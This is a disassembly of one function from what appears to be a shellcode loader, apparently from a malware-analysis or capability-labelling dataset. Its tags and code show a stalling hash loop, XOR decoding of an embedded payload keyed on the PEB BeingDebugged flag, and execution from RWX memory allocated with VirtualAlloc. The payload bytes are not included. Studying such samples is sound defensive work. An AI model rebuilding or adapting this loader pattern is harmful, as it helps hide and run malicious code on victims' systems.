Function at 0x401000
Capabilities:
Allocate or change rwx memory
Check for peb beingdebugged flag
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x316d8
call fcn.004042e0
sub rsp, rax
movaps xmmword [rsp + 0x316c0], xmm6
lea rdx, [0x00420038]
lea rcx, [rsp + 0xf8]
mov r8d, 0x170
call fcn.0041ca00
mov ebx, 1
lea r13, [rsp + 0x30]
lea rsi, [rsp + 0xb8]
movabs rbp, 0x21646c726f5720
lea r15, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
movabs r12, 0x28f5c28f5c28f5c3
xorps xmm6, xmm6
jmp 0x40108b
add rbx, 1
lea rsi, [rsp + 0xb8]
lea r13, [rsp + 0x30]
movabs rbp, 0x21646c726f5720
mov qword [rsp + 0x30], 0
mov qword [rsp + 0xb8], r13
mov qword [rsp + 0x38], rsi
lea rax, [0x00402940]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x55], rbp
movabs rax, 0x6f57206f6c6c6548
mov qword [rsp + 0x50], rax
mov edx, 0xc
lea rcx, [rsp + 0x50]
lea r8, [0x004517e8]
lea r9, [rsp + 0x38]
call fcn.00403500
test ax, ax
jne 0x401177
mov r8d, 0x41
mov rdx, rbx
cmp rbx, 0x64
jb 0x401133
mov rcx, rbx
nop word [rax + rax]
mov rax, rcx
shr rax, 2
mul r12
shr rdx, 2
imul rax, rdx, 0x64
mov r9, rcx
sub r9, rax
movzx eax, word [r15 + r9*2]
mov word [rsp + r8 + 0x4e], ax
add r8, 0xfffffffffffffffe
cmp rcx, 0x270f
mov rcx, rdx
ja 0x401100
cmp rdx, 9
ja 0x401147
or dl, 0x30
mov byte [rsp + r8 + 0x4f], dl
add r8, 0xffffffffffffffff
jmp 0x401156
movzx eax, word [r15 + rdx*2]
mov word [rsp + r8 + 0x4e], ax
add r8, 0xfffffffffffffffe
lea rcx, [rsp + r8]
add rcx, 0x50
mov edx, 0x41
sub rdx, r8
lea r8, [0x004517e8]
lea r9, [rsp + 0x38]
call fcn.00403500
mov r14, qword [rsp + 0x31718]
xor eax, eax
test al, al
jne 0x4015ff
mov rdi, qword [rsp + 0x30]
test rdi, rdi
je 0x4011c0
lea rcx, [rsp + 0xf8]
mov rdx, rdi
xor r8d, r8d
mov r9, r14
call fcn.00401cf0
test rax, rax
jne 0x4011c7
jmp 0x4015ff
mov rax, 0xffffffffffffffff
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 0
lea rax, [rsp + 0x38]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0xb8], r13
lea rax, [0x00402960]
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0x55], rbp
movabs rax, 0x6f57206f6c6c6548
mov qword [rsp + 0x50], rax
mov edx, 0xc
lea rcx, [rsp + 0x50]
lea r8, [0x004517e8]
mov r9, rsi
call fcn.00403500
mov r8d, 0x41
mov rdx, rbx
cmp rbx, 0x64
jb 0x401273
mov rcx, rbx
nop word [rax + rax]
mov rax, rcx
shr rax, 2
mul r12
shr rdx, 2
imul rax, rdx, 0x64
mov r9, rcx
sub r9, rax
movzx eax, word [r15 + r9*2]
mov word [rsp + r8 + 0x4e], ax
add r8, 0xfffffffffffffffe
cmp rcx, 0x270f
mov rcx, rdx
ja 0x401240
cmp rdx, 9
ja 0x401290
or dl, 0x30
mov byte [rsp + r8 + 0x4f], dl
add r8, 0xffffffffffffffff
jmp 0x40129f
movzx eax, word [r15 + rdx*2]
mov word [rsp + r8 + 0x4e], ax
add r8, 0xfffffffffffffffe
lea r15, [rsp + 0x50]
lea rcx, [rsp + r8]
add rcx, 0x50
mov edx, 0x41
sub rdx, r8
lea r8, [0x004517e8]
mov r9, rsi
call fcn.00403500
mov r13, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x48]
movups xmm0, xmmword [0x00451658]
movaps xmmword [rsp + 0xa0], xmm0
movups xmm0, xmmword [0x00451648]
movaps xmmword [rsp + 0x90], xmm0
movups xmm0, xmmword [0x00451638]
movaps xmmword [rsp + 0x80], xmm0
movups xmm0, xmmword [0x00451628]
movaps xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [0x00451618]
movaps xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [0x00451608]
movaps xmmword [rsp + 0x50], xmm0
cmp rbp, 0x40
jae 0x401330
xor ecx, ecx
xor eax, eax
lea rsi, [rsp + 0x68]
jmp 0x401364
xor eax, eax
lea rsi, [rsp + 0x68]
nop word [rax + rax]
mov rdi, rax
lea rdx, [rax + r13]
mov rcx, r15
call fcn.004029f0
lea rax, [rdi + 0x40]
sub rdi, 0xffffffffffffff80
cmp rdi, rbp
jbe 0x401340
movzx ecx, byte [rsp + 0xa8]
lea rdx, [rax + r13]
mov rdi, rbp
sub rdi, rax
add rcx, rsi
mov r8, rdi
call fcn.0041ca00
movzx eax, byte [rsp + 0xa8]
movzx edx, dil
add rdx, rax
mov byte [rsp + 0xa8], dl
add qword [rsp + 0x50], rbp
lea rcx, [rsi + rdx]
mov r8d, 0x40
sub r8, rdx
xor edx, edx
call fcn.0041cd60
movzx eax, byte [rsp + 0xa8]
mov byte [rsp + rax + 0x68], 0x80
movzx eax, byte [rsp + 0xa8]
lea ecx, [rax + 1]
mov byte [rsp + 0xa8], cl
cmp al, 0x38
jb 0x4013e9
mov rcx, r15
mov rdx, rsi
call fcn.004029f0
movups xmmword [rsi + 0x20], xmm6
movups xmmword [rsi + 0x10], xmm6
movups xmmword [rsi], xmm6
mov qword [rsi + 0x30], 0
mov rax, qword [rsp + 0x50]
mov ecx, eax
shr ecx, 5
lea edx, [rax*8]
mov byte [rsp + 0xa0], dl
mov byte [rsp + 0xa1], cl
mov ecx, eax
shr ecx, 0xd
mov byte [rsp + 0xa2], cl
mov ecx, eax
shr ecx, 0x15
mov byte [rsp + 0xa3], cl
mov rcx, rax
shr rcx, 0x1d
mov byte [rsp + 0xa4], cl
mov rcx, rax
shr rcx, 0x25
mov byte [rsp + 0xa5], cl
mov rcx, rax
shr rcx, 0x2d
mov byte [rsp + 0xa6], cl
shr rax, 0x35
mov byte [rsp + 0xa7], al
mov rcx, r15
mov rdx, rsi
call fcn.004029f0
movups xmm0, xmmword [rsi - 0x10]
movaps xmmword [rsp + 0xe0], xmm0
xor eax, eax
test al, al
jne 0x4015c1
mov edx, 0x20
lea rcx, [rsp + 0xf8]
xor r8d, r8d
mov r9, r14
call fcn.00401cf0
test rax, rax
je 0x4015c1
mov rdi, rax
mov qword [rsp + 0xc8], rbx
mov rsi, r14
xor ebx, ebx
xor r14d, r14d
movzx eax, byte [rsp + r14 + 0xe0]
mov ecx, eax
shr ecx, 4
lea rdx, str.0123456789abcdef
movzx ecx, byte [rcx + rdx]
mov byte [rsp + 0x50], cl
and eax, 0xf
movzx eax, byte [rax + rdx]
mov byte [rsp + 0x51], al
xor r12d, r12d
nop word cs:[rax + rax]
nop
cmp rbx, 0x1f
ja 0x401530
mov eax, 2
sub rax, r12
lea rdx, [rsp + r12]
add rdx, 0x50
mov r15d, 0x20
sub r15, rbx
cmp r15, rax
cmovae r15, rax
lea rcx, [rdi + rbx]
mov r8, r15
call fcn.0041ca00
add rbx, r15
add r12, r15
cmp r12, 2
jne 0x4014e0
add r14, 1
cmp r14, 0x10
jne 0x4014aa
jmp 0x401530
lea rax, str.00000
cmp rdi, rax
mov r14, rsi
lea r15, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
movabs r12, 0x28f5c28f5c28f5c3
lea rsi, [rsp + 0xf8]
je 0x4017ae
cmp dword [rdi], 0x30303030
jne 0x401571
cmp dword [rdi + 1], 0x30303030
je 0x4017ae
mov qword [rsp + 0x20], r14
mov rcx, rsi
mov rdx, rdi
mov r8, rbx
xor r9d, r9d
call fcn.00402300
test rbp, rbp
movabs rax, 0xaaaaaaaaaaaaaaaa
cmove r13, rax
mov rbx, qword [rsp + 0xc8]
je 0x401070
mov qword [rsp + 0x20], r14
mov rcx, rsi
mov rdx, r13
mov r8, rbp
xor r9d, r9d
call fcn.00402300
jmp 0x401070
test rbp, rbp
movabs rax, 0xaaaaaaaaaaaaaaaa
cmove r13, rax
jne 0x4016af
mov rdx, qword [rsp + 0x228]
test rdx, rdx
jne 0x4016db
mov rdx, qword [rsp + 0x248]
test rdx, rdx
jne 0x401750
jmp 0x40177a
mov rdx, qword [rsp + 0x228]
test rdx, rdx
je 0x40166e
mov eax, dword [rdx - 8]
add rdx, 0xffffffffffffffe8
lea rax, [rax + rax*4]
lea rax, [rax + rax*4]
add rax, 0x1f
movabs r8, 0x1ffffffff8
and r8, rax
movabs rax, 0xaaaaaaaaaaaaaaaa
cmove rdx, rax
je 0x401657
mov rcx, qword [rsp + 0xf8]
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x20], r14
mov r9b, 3
call qword [rax + 0x10]
mov qword [rsp + 0x228], 0
mov dword [rsp + 0x234], 0
mov rdx, qword [rsp + 0x248]
test rdx, rdx
je 0x40177a
nop
mov rsi, qword [rdx]
mov r8, qword [rdx + 8]
mov rcx, qword [rsp + 0x238]
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x20], r14
mov r9b, 3
call qword [rax + 0x10]
mov rdx, rsi
test rsi, rsi
jne 0x401680
jmp 0x40177a
mov qword [rsp + 0x20], r14
lea rcx, [rsp + 0xf8]
mov rdx, r13
mov r8, rbp
xor r9d, r9d
call fcn.00402300
mov rdx, qword [rsp + 0x228]
test rdx, rdx
je 0x4015e9
mov eax, dword [rdx - 8]
add rdx, 0xffffffffffffffe8
lea rax, [rax + rax*4]
lea rax, [rax + rax*4]
add rax, 0x1f
movabs r8, 0x1ffffffff8
and r8, rax
movabs rax, 0xaaaaaaaaaaaaaaaa
cmove rdx, rax
je 0x401726
mov rcx, qword [rsp + 0xf8]
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x20], r14
mov r9b, 3
call qword [rax + 0x10]
mov qword [rsp + 0x228], 0
mov dword [rsp + 0x234], 0
mov rdx, qword [rsp + 0x248]
test rdx, rdx
je 0x40177a
nop word [rax + rax]
mov rsi, qword [rdx]
mov r8, qword [rdx + 8]
mov rcx, qword [rsp + 0x238]
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x20], r14
mov r9b, 3
call qword [rax + 0x10]
mov rdx, rsi
test rsi, rsi
jne 0x401750
lea rax, str.OutOfMemory
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], 0xb
lea rcx, [rsp + 0xd0]
call fcn.00401a90
mov esi, 1
mov ecx, esi
call sub.ntdll.dll_RtlExitUserProcess
lea rcx, [0x00455010]
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x20]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xb8], rax
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x38], rax
lea rax, [0x00402620]
mov qword [rsp + 0x40], rax
mov r8d, 0x41
mov r9, qword [rsp + 0xc8]
cmp r9, 0x64
jb 0x401845
nop word cs:[rax + rax]
nop
mov rax, r9
shr rax, 2
mul r12
shr rdx, 2
imul rax, rdx, 0x64
mov rcx, r9
sub rcx, rax
movzx eax, word [r15 + rcx*2]
mov word [rsp + r8 + 0x4e], ax
add r8, 0xfffffffffffffffe
cmp r9, 0x270f
mov r9, rdx
ja 0x401810
jmp 0x401848
mov rdx, r9
cmp rdx, 9
ja 0x40185c
or dl, 0x30
mov byte [rsp + r8 + 0x4f], dl
add r8, 0xffffffffffffffff
jmp 0x40186b
movzx eax, word [r15 + rdx*2]
mov word [rsp + r8 + 0x4e], ax
add r8, 0xfffffffffffffffe
lea rcx, [rsp + r8]
add rcx, 0x50
mov edx, 0x41
sub rdx, r8
lea r8, [0x004517e8]
lea r9, [rsp + 0x38]
call fcn.00403500
lea rcx, [0x00455010]
call fcn.0041ff90
test rbx, rbx
movabs rax, 0xaaaaaaaaaaaaaaaa
cmove rdi, rax
jne 0x4019b5
test rbp, rbp
movabs rax, 0xaaaaaaaaaaaaaaaa
cmove r13, rax
jne 0x4019e7
mov rdx, qword [rsp + 0x228]
test rdx, rdx
jne 0x401a13
mov rdx, qword [rsp + 0x248]
test rdx, rdx
je 0x40191a
nop word cs:[rax + rax]
nop
mov rsi, qword [rdx]
mov r8, qword [rdx + 8]
mov rcx, qword [rsp + 0x238]
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x20], r14
mov r9b, 3
call qword [rax + 0x10]
mov rdx, rsi
test rsi, rsi
jne 0x4018f0
xor esi, esi
lea rcx, [rsp + 0x26a]
mov r8d, 0x31446
xor edx, edx
call fcn.0041cd60
lea rax, [0x004201ae]
xor ecx, ecx
nop word [rax + rax]
movzx edx, byte [rcx + rax]
xor dl, sil
mov r8, qword gs:[0x30]
mov r8, qword [r8 + 0x60]
movzx r8d, byte [r8 + 2]
add r8b, 0x42
xor r8b, dl
mov byte [rsp + rcx + 0x26a], r8b
add rcx, 1
add sil, 0x53
cmp rcx, 0x31446
jne 0x401940
xor esi, esi
mov edx, 0x31446
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 0x40
call sub.KERNEL32.dll_VirtualAlloc
mov rdi, rax
lea rdx, [rsp + 0x26a]
mov r8d, 0x31446
mov rcx, rax
call fcn.0041ca00
call rdi
mov ecx, esi
call sub.ntdll.dll_RtlExitUserProcess
mov qword [rsp + 0x20], r14
lea rcx, [rsp + 0xf8]
mov rdx, rdi
mov r8, rbx
xor r9d, r9d
call fcn.00402300
test rbp, rbp
movabs rax, 0xaaaaaaaaaaaaaaaa
cmove r13, rax
je 0x4018c6
mov qword [rsp + 0x20], r14
lea rcx, [rsp + 0xf8]
mov rdx, r13
mov r8, rbp
xor r9d, r9d
call fcn.00402300
mov rdx, qword [rsp + 0x228]
test rdx, rdx
je 0x4018d7
mov eax, dword [rdx - 8]
add rdx, 0xffffffffffffffe8
lea rax, [rax + rax*4]
lea rax, [rax + rax*4]
add rax, 0x1f
movabs r8, 0x1ffffffff8
and r8, rax
movabs rax, 0xaaaaaaaaaaaaaaaa
cmove rdx, rax
je 0x401a5e
mov rcx, qword [rsp + 0xf8]
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x20], r14
mov r9b, 3
call qword [rax + 0x10]
mov qword [rsp + 0x228], 0
mov dword [rsp + 0x234], 0
mov rdx, qword [rsp + 0x248]
test rdx, rdx
jne 0x4018f0
jmp 0x40191a